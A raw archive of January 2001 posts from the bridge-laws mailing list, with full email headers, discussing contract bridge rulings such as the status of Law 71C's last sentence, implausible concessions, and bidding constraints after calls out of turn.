2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HEgM520915 for bridge-laws-outgoing; Thu, 18 Jan 2001 01:42:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HEgGt20911 for ; Thu, 18 Jan 2001 01:42:17 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id PAA03048; Wed, 17 Jan 2001 15:42:12 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Wed Jan 17 15:45:28 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JZ0P3VRJHU002BGE@AGRO.NL>; Wed, 17 Jan 2001 15:41:59 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Wed, 17 Jan 2001 15:37:32 +0100 Content-return: allowed Date: Wed, 17 Jan 2001 15:41:58 +0100 From: "Kooijman, A." Subject: RE: TR: [BLML] Law 71: Concession cancelled To: "'David Stevenson'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > David J Grabiner writes > >On Mon, 15 Jan 2001, David Stevenson wrote: > > >> >71C. Implausible Concession > >> > if a player has conceded a trick that cannot be lost by > >> > any normal play of the remaining cards. Until the > >> > conceding side makes a call on a subsequent board, or > >> > until the round ends, the Director shall cancel the > >> > concession of a trick that could not have been lost > >> > by any normal play of the remaining cards. > >> > >> The second sentence has not been deleted. However, it has been > >> realised that it is superfluous, and it is acceptable to > treat this Law > >> _as though_ it had been deleted. > >> The second sentence, starting with 'Until'and ending with 'cards' for sure has been deleted. All of you analyzing that something is wrong with this sentence in relation to other (parts of) laws are right, which was the reason to decide to take it out. We did this already in '97 I think. So take your pensil and also shout it out. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 01:56:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HEtrn20929 for bridge-laws-outgoing; Thu, 18 Jan 2001 01:55:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta04-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HEtmt20925 for ; Thu, 18 Jan 2001 01:55:48 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta04-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license 85b07e7cd9378159aa6ecc9a5634d971) with SMTP id <20010117145715.JXCQ18450.amsmta04-svc@witz> for ; Wed, 17 Jan 2001 15:57:15 +0100 Message-Id: <3.0.2.32.20010117155746.0112a1a8@mail.chello.nl> X-Sender: a.witzen@mail.chello.nl X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Wed, 17 Jan 2001 15:57:46 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Claim: Correct Procedure In-Reply-To: <3.0.6.32.20010117130012.0085aea0@pop.ulb.ac.be> References: <3A644FC7.3B1BF474@village.uunet.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 01:00 PM 17-01-01 +0100, you wrote: >At 14:42 16/01/01 +0100, Herman De Wael wrote: >>David Stevenson wrote: >>> >>> >>> You may be right that he has no right to inspect his partner's hand >>> but no-one would ever get a ruling based on it, and I would probably hit >>> declarer with a DP if he tried it. >>> >> >>Anyway, he has the right to see claimer's hand, so he knows >>all the cards. How can he not be allowed to also see >>partner's hand. >> >>I always summarize, when deciding whether to acquiesce a >>claim, defenders become Garozzo-Belladonna. I should add >>"with mind-reading capabilities". > >AG : good formula. The only problem being, since they are not those you >assume, there is still a danger that they won't realize the contract could >still go down (or whatever). Which means they must be allowed to challenge >the claim, without stating how they would have defended. Do the Laws >provide for that ? > in a way; they have until half an hour after the final result is published and are thus allowed to gain help from an outside source i guess. regards, anton > A. > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 02:01:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HF10120946 for bridge-laws-outgoing; Thu, 18 Jan 2001 02:01:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HF0rt20942 for ; Thu, 18 Jan 2001 02:00:54 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id QAA19355; Wed, 17 Jan 2001 16:00:18 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Wed Jan 17 16:03:27 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JZ0PPACYYW002AAL@AGRO.NL>; Wed, 17 Jan 2001 15:59:14 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Wed, 17 Jan 2001 15:54:47 +0100 Content-return: allowed Date: Wed, 17 Jan 2001 15:59:08 +0100 From: "Kooijman, A." Subject: RE: [BLML] Let's get back to the easy stuff To: "'Eric Landau'" , Bridge Laws Discussion List Message-id: <67378DEA146DD21194C20000F87B08BA01B8B77E@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > At 09:05 PM 1/14/01, David wrote: > > > Dealer South, North bids out of turn, not accepted, so South is > >silenced. Are there any constraints on North's bidding? > > Yes, there are constraints imposed by L23. North should not take any > action which is more likely to succeed with partner barred than it > would be were partner free to bid. One of the problems caused by the format of this discussion is that answers can cross. In that case not using information already given is not the same as ignoring it. But in case information is available it could be a wise attitude to consider the content and to use it. Had Eric done so he would not have written that North should not take any action etc. Having to choose between this one and the 'amen' approved remark saying that since nothing is known about partners hand and therefore there is no restrition at all, I take the latter, though it is also wrong. Example: If I have 17 points and something happens by which my partner has to pass I am allowed to bid 3NT and to make it. But if I do something by which my partner is barred from the bidding and only now I can make the final call in the right contract, the laws allow the TD to take that advantage away (this is described in a more general way in L 23) ton TD's authority to adjust (given > damage) comes from L72B1. > > Didn't we come to this conclusion recently in a thread about psyching > opposite a barred partner? > > > Eric Landau elandau@cais.com > APL Solutions, Inc. elandau@acm.org > 1107 Dale Drive (301) 589-4621 > Silver Spring MD 20910-1607 Fax (301) 589-4618 > > -- > ============================================================== > ========== > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-> LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 02:40:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HFe6a24421 for bridge-laws-outgoing; Thu, 18 Jan 2001 02:40:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HFdwt24390 for ; Thu, 18 Jan 2001 02:39:59 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id KAA26228 for ; Wed, 17 Jan 2001 10:39:54 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA117355993; Wed, 17 Jan 2001 10:39:53 -0500 X-Openmail-Hops: 1 Date: Wed, 17 Jan 2001 10:39:52 -0500 Message-Id: Subject: TR: TR: [BLML] Law 71: Concession cancelled Mime-Version: 1.0 From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Wed, 17 Jan 2001 10:39:51 -0500" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0HFe2t24399 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----Message d'origine----- De : DuBreuil, Laval Envoyé : 17 janvier, 2001 10:36 Ŕ : mfrench1 Objet : RE: TR: [BLML] Law 71: Concession cancelled > >On Mon, 15 Jan 2001, David Stevenson wrote: > > >> >71C. Implausible Concession > >> > if a player has conceded a trick that cannot be lost by > >> > any normal play of the remaining cards. Until the > >> > conceding side makes a call on a subsequent board, or > >> > until the round ends, the Director shall cancel the > >> > concession of a trick that could not have been lost > >> > by any normal play of the remaining cards. > >> > The second sentence has not been deleted. However, it has been > realised that it is superfluous, and it is acceptable to treat this > Law_as though_ it had been deleted. ___________________________________________________________________ If you are right, IMHO it is a major change in Laws. Remember the example in my first message: The contract is 4S and declarer's last 3 cards are: S A 2 H A A defender has (no other trump left): S 7 H 8 2 Declarer claims 4, conceeding 1 of the last 3 tricks. He misconted Ss and was sure the defender had 2 trumps. With text as above (with last sentence), 71C no more applies after "conceding side makes a call on subsequent board or until the round ends". So if conceding side no more agrees with his concession after that, he will loose 1 trick because 71A now applies and playing S2 is a "legal" play. Without the last sentence, 71C applies any time so the conceding side will loose no trick. The "normal play is SA. I am very surprised that such a change have been made without rewriting the Law book (and changing the on-line text). Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 02:50:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HFo4N27932 for bridge-laws-outgoing; Thu, 18 Jan 2001 02:50:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HFnvt27891 for ; Thu, 18 Jan 2001 02:49:57 +1100 (EST) Received: from oemcomputer (user-2ive4qn.dialup.mindspring.com [165.247.19.87]) by hall.mail.mindspring.net (8.9.3/8.8.5) with SMTP id KAA13892; Wed, 17 Jan 2001 10:49:13 -0500 (EST) Message-ID: <006b01c0809d$a7528dc0$5713f7a5@oemcomputer> From: "Craig Senior" To: "Kooijman, A." , "'David Stevenson'" , References: <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Wed, 17 Jan 2001 10:53:30 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk For a sentence that has been deleted, it looks pretty much present in my copy of the Laws, the Portland Club version downloaded from DWS web site. How about the rest of you? Is it still in your books? If so, then we need to make sure it is not reprinted if that is in conflict with a Laws Committee action. Craig ----- Original Message ----- From: "Kooijman, A." To: "'David Stevenson'" ; Sent: Wednesday, January 17, 2001 9:41 AM Subject: RE: TR: [BLML] Law 71: Concession cancelled > > > > > David J Grabiner writes > > >On Mon, 15 Jan 2001, David Stevenson wrote: > > > > >> >71C. Implausible Concession > > >> > if a player has conceded a trick that cannot be lost by > > >> > any normal play of the remaining cards. Until the > > >> > conceding side makes a call on a subsequent board, or > > >> > until the round ends, the Director shall cancel the > > >> > concession of a trick that could not have been lost > > >> > by any normal play of the remaining cards. > > >> > > >> The second sentence has not been deleted. However, it has been > > >> realised that it is superfluous, and it is acceptable to > > treat this Law > > >> _as though_ it had been deleted. > > >> > > > > The second sentence, starting with 'Until'and ending with 'cards' for sure > has been deleted. All of you analyzing that something is wrong with this > sentence in relation to other (parts of) laws are right, which was the > reason to decide to take it out. We did this already in '97 I think. So take > your pensil and also shout it out. > > ton > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 03:01:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HG0kw01728 for bridge-laws-outgoing; Thu, 18 Jan 2001 03:00:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from batman.npl.co.uk (batman.npl.co.uk [139.143.5.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HG0dt01690 for ; Thu, 18 Jan 2001 03:00:39 +1100 (EST) Received: from herschel.npl.co.uk ([139.143.1.16]) by batman.npl.co.uk (8.11.0/8.11.0) with ESMTP id f0HG0Yf28707 for ; Wed, 17 Jan 2001 16:00:34 GMT Received: (from root@localhost) by herschel.npl.co.uk (8.11.0/8.11.0) id f0HG0XA02040 for ; Wed, 17 Jan 2001 16:00:33 GMT Received: by herschel.npl.co.uk XSMTPD/VSCAN; Wed, 17 Jan 2001 16:00:32 GMT Received: from tempest.npl.co.uk (tempest [139.143.18.16]) by capulin.cise.npl.co.uk (8.9.3/8.9.3) with ESMTP id QAA21009 for ; Wed, 17 Jan 2001 16:00:31 GMT Received: (from rmb1@localhost) by tempest.npl.co.uk (8.9.1b+Sun/8.9.1) id QAA20822 for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 16:00:30 GMT Date: Wed, 17 Jan 2001 16:00:30 GMT From: Robin Barker Message-Id: <200101171600.QAA20822@tempest.npl.co.uk> To: bridge-laws@rgb.anu.edu.au Subject: [BLML] Similar but different X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > At 09:05 PM 1/14/01, David wrote: > > > > > Dealer South, North bids out of turn, not accepted, so South is > > >silenced. Are there any constraints on North's bidding? > > > > Yes, there are constraints imposed by L23. North should not take any > > action which is more likely to succeed with partner barred than it > > would be were partner free to bid. Dealer South, North passes out of turn, not accepted, so North is silenced on the first round (must pass when next it is his turn to call). Are there any constraints on South's bidding? My answer: Yes. South has UI and so must not select from logical alternatives one demonstrably suggested by the fact that North passed. If South has approximately a weak NT hand, then his logical alternatives may be 1NT and 3NT, in which case he must bid 3NT as 1NT is suggested over 3NT by the fact that partner has less than an opening hand. ? Robin -- Robin Barker | Email: Robin.Barker@npl.co.uk CMSC, Building 10, | Phone: +44 (0) 20 8943 7090 National Physical Laboratory, | Fax: +44 (0) 20 8977 7091 Teddington, Middlesex, UK. TW11 OLW | WWW: http://www.npl.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 03:21:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HGKsd08776 for bridge-laws-outgoing; Thu, 18 Jan 2001 03:20:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from batman.npl.co.uk (batman.npl.co.uk [139.143.5.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HGKkt08722 for ; Thu, 18 Jan 2001 03:20:47 +1100 (EST) Received: from herschel.npl.co.uk ([139.143.1.16]) by batman.npl.co.uk (8.11.0/8.11.0) with ESMTP id f0HGKgf01259 for ; Wed, 17 Jan 2001 16:20:43 GMT Received: (from root@localhost) by herschel.npl.co.uk (8.11.0/8.11.0) id f0HGKfK04577 for ; Wed, 17 Jan 2001 16:20:41 GMT Received: by herschel.npl.co.uk XSMTPD/VSCAN; Wed, 17 Jan 2001 16:20:41 GMT Received: from tempest.npl.co.uk (tempest [139.143.18.16]) by capulin.cise.npl.co.uk (8.9.3/8.9.3) with ESMTP id QAA21033 for ; Wed, 17 Jan 2001 16:20:40 GMT Received: (from rmb1@localhost) by tempest.npl.co.uk (8.9.1b+Sun/8.9.1) id QAA20850 for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 16:20:38 GMT Date: Wed, 17 Jan 2001 16:20:38 GMT From: Robin Barker Message-Id: <200101171620.QAA20850@tempest.npl.co.uk> To: bridge-laws@rgb.anu.edu.au Subject: Re: TR: [BLML] Law 71: Concession cancelled X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > For a sentence that has been deleted, it looks pretty much present in my > copy of the Laws, the Portland Club version downloaded from DWS web site. > How about the rest of you? Is it still in your books? If so, then we need to > make sure it is not reprinted if that is in conflict with a Laws Committee > action. > > Craig > The sentemce was not deleted. The minute said something like "The provisions of the last sentence of Law79C are included in the provisions of the rest of Law79 (ending at the fragment at the start of Law79C. So the laws can be read as if the last sentence of Law79C were deleted." The minute was clear to say that the laws should not be reprinted with the sentence deleted. It was implicit that readers could cross out that sentence in their copies. Robin -- Robin Barker | Email: Robin.Barker@npl.co.uk CMSC, Building 10, | Phone: +44 (0) 20 8943 7090 National Physical Laboratory, | Fax: +44 (0) 20 8977 7091 Teddington, Middlesex, UK. TW11 OLW | WWW: http://www.npl.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 03:40:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HGeLH14958 for bridge-laws-outgoing; Thu, 18 Jan 2001 03:40:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HGeEt14954 for ; Thu, 18 Jan 2001 03:40:15 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id KAA10119 for ; Wed, 17 Jan 2001 10:41:21 -0600 (CST) Message-Id: <3.0.6.32.20010117103947.007adb10@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 17 Jan 2001 10:39:47 -0600 To: From: Grant Sterling Subject: Re: TR: [BLML] Law 71: Concession cancelled In-Reply-To: <006b01c0809d$a7528dc0$5713f7a5@oemcomputer> References: <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:53 AM 1/17/2001 -0500, Craig Senior wrote: >For a sentence that has been deleted, it looks pretty much present in my >copy of the Laws, the Portland Club version downloaded from DWS web site. >How about the rest of you? Is it still in your books? If so, then we need to >make sure it is not reprinted if that is in conflict with a Laws Committee >action. > >Craig My 1997 copy of the laws [ACBL version] has the sentence printed, but I have drawn a line through the text from "Until" through "ends". Obviously, then there was some pronouncement on this List telling me that this part of the sentence was no longer applicable, and this was long enough ago that I don't remember it. [The word must have come from this List, because I wouldn't have actually deleted a sentence on the word of anyone lacking authority, and I know no official notice came from the ACBL for me to do it. It must have been Grattan or Ton or a report from the minutes at Lille or someplace else.] -Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:07:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HH6MP15019 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:06:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from batman.npl.co.uk (batman.npl.co.uk [139.143.5.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HH6Ft15014 for ; Thu, 18 Jan 2001 04:06:16 +1100 (EST) Received: from herschel.npl.co.uk ([139.143.1.16]) by batman.npl.co.uk (8.11.0/8.11.0) with ESMTP id f0HH6Cf06734 for ; Wed, 17 Jan 2001 17:06:12 GMT Received: (from root@localhost) by herschel.npl.co.uk (8.11.0/8.11.0) id f0HH6Ag10146 for ; Wed, 17 Jan 2001 17:06:10 GMT Received: by herschel.npl.co.uk XSMTPD/VSCAN; Wed, 17 Jan 2001 17:06:09 GMT Received: from tempest.npl.co.uk (tempest [139.143.18.16]) by capulin.cise.npl.co.uk (8.9.3/8.9.3) with ESMTP id RAA21082 for ; Wed, 17 Jan 2001 17:06:08 GMT Received: (from rmb1@localhost) by tempest.npl.co.uk (8.9.1b+Sun/8.9.1) id RAA20908 for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 17:06:08 GMT Date: Wed, 17 Jan 2001 17:06:08 GMT From: Robin Barker Message-Id: <200101171706.RAA20908@tempest.npl.co.uk> To: bridge-laws@rgb.anu.edu.au Subject: Re: TR: [BLML] Law 71: Concession cancelled X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > The sentemce was not deleted. The minute said something like > "The provisions of the last sentence of Law79C are included in > the provisions of the rest of Law79 (ending at the fragment > at the start of Law79C. So the laws can be read as if the > last sentence of Law79C were deleted." > Do I need to say that "9" is a consistent typo for "1"? Robin -- Robin Barker | Email: Robin.Barker@npl.co.uk CMSC, Building 10, | Phone: +44 (0) 20 8943 7090 National Physical Laboratory, | Fax: +44 (0) 20 8977 7091 Teddington, Middlesex, UK. TW11 OLW | WWW: http://www.npl.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:09:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HH9V515034 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:09:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from plutonium.uunet.be (plutonium.uunet.be [194.7.1.47]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HH9Ot15030 for ; Thu, 18 Jan 2001 04:09:25 +1100 (EST) Received: from village.uunet.be (uu212-190-11-133.unknown.uunet.be [212.190.11.133]) by plutonium.uunet.be (8.9.1/8.9.1) with ESMTP id SAA25047 for ; Wed, 17 Jan 2001 18:09:18 +0100 (CET) Message-ID: <3A65803C.DE757129@village.uunet.be> Date: Wed, 17 Jan 2001 12:21:32 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Escape sequences References: Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hello Petr, seems like your first message - welcome to the list. BTW, don't take this reply personally, I am merely commenting on, not directly in reply to your post. Petr Jelínek wrote: > > > > Anyway, he takes his guess, > > and there is nothing tu suggest he has been helped in his decision. Of > > course, if the 4NT bid was audibly slammed, it is a horse of a very > > different color (slamming is less slammish, huh ?). Same if there was a > > long time before 4NT came back, or if some burble was audible > > from the ther > > side of the screen. > > I believe that it is so obvious that it should be allowed even without > screens (seeing partner`s Alert) - isn`t 4S revealing enough? 4NT cannot be > constructive (see above) so no infraction by opener either. > The question I was putting was not "is this allowed" in the sense of UI. I agree with, among others, Petr, that there is no UI in this instance, and I might even admit that 4NT would be without LA, even if there were UI (as when playing without screens). The question I was putting was "is this allowed" in some sense of admissible systems. I remember a discussion, not on blml, about a call of 4Di which simply meant "partner, I have forgotten the system, please make the final call". Some people believe this type of system is not allowed, some say it should not be. Opinions ? -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:10:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HHARV15049 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:10:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HHAKt15044 for ; Thu, 18 Jan 2001 04:10:20 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id SAA23591; Wed, 17 Jan 2001 18:06:10 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id SAA21129; Wed, 17 Jan 2001 18:10:07 +0100 (MET) for Message-Id: <3.0.6.32.20010117182224.0085f100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 17 Jan 2001 18:22:24 +0100 To: Robin Barker , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Similar but different In-Reply-To: <200101171600.QAA20822@tempest.npl.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 16:00 17/01/01 GMT, Robin Barker wrote: >If South has approximately a weak NT hand, then his logical alternatives >may be 1NT and 3NT, in which case he must bid 3NT as 1NT is suggested >over 3NT by the fact that partner has less than an opening hand. AG : South won't swallow that. Neither shall I. Bidding a blind 3NT on a flat 13 HCP is a wild gamble, and you can't compel him to do it. In such a case, I would pass, and hope that either the others are going down or it's their hand anyway. After all, if I'm badly wrong, I will be less wrong than if I went for minus XXXX. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:32:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HHVmW15113 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:31:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net 